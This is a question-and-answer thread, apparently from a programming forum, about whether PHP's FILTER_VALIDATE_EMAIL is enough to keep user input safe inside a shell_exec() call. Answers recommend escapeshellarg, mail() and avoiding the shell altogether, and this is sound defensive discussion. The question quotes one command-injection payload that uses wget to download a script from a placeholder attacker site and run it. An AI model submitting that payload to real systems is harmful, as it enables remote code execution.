So I'm planning on using shell_exec()
to handle running a php script that sends an email.
It's all working great, but I was just slightly concerned about the security implications of only using FILTER_VALIDATE_EMAIL
to ensure injection can't occur.
So, for example, I will be using something simlilar to this:
$email=$_POST['email'];
if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {
echo 'Nope ...';
} else {
shell_exec("/usr/bin/php /var/www/mysite/includes/sendemail '" . $email . "'" > /dev/null 2>/dev/null &);
}
So, obviously without the validation, I could submit my email as something like:
'; wget -O ./evil.sh http://evilsite.com/evilscript; ./evil.sh; '
and all hell could break loose ...
Is this 100% injection proof (That we know of) or is there something else I should add?
The FILTER_VALIDATE_EMAIL implementation is based on Michael Rushton’s Email Address Validation, which validates the input using the RFC 5321, i. e., the Mailbox production rule.
Those email addresses are more extensive than those that are used in practice. For example, RFC 5321 allows quoted strings in the Local-part like
"…"@example.com
.This allows to inject arbitrary commands, for example:
This would end up in your shell command as:
The resulting
sendmail
parameter value would be the result ofwhoami
quoted, like"markus"@example.com
.You see that FILTER_VALIDATE_EMAIL is simply not suited for validating shell arguments as it’s was not meant to be.
Use functions that are meant for escaping shell arguments instead like
escapeshellarg
for escaping single arguments orescapeshellcmd
for arbitrary arguments.Generally, you should avoid shell commands if you can achieve the same with built-in PHP features because even
escapeshellarg
is not free of bugs.The same question was asked of databases here: Does FILTER_VALIDATE_EMAIL make a string safe for insertion in database?
If
filter_var($var, FILTER_VALIDATE_EMAIL)
isn't safe for databases, it's probably not safe enough for the command line.If you did need to escape a string for use in the shell, use
escapeshellarg()
orescapeshellcmd()
like in the answers to Filter var for calling a shellscript with system on php. Be sure to read the API docs for those on the PHP site.But first, you should do some research on OWASP to learn about best practices for application security.
You can avoid this problem altogether by writing the email to a temporary file, then instructing your
sendemail
application to read from the file (if it can).Or, if it's available with your hosting configuration, you can use PHP's
mail()
method - see How to send an email using PHP?Continue to be security minded, though. PHP's mail(): What are potential issues to watch out for?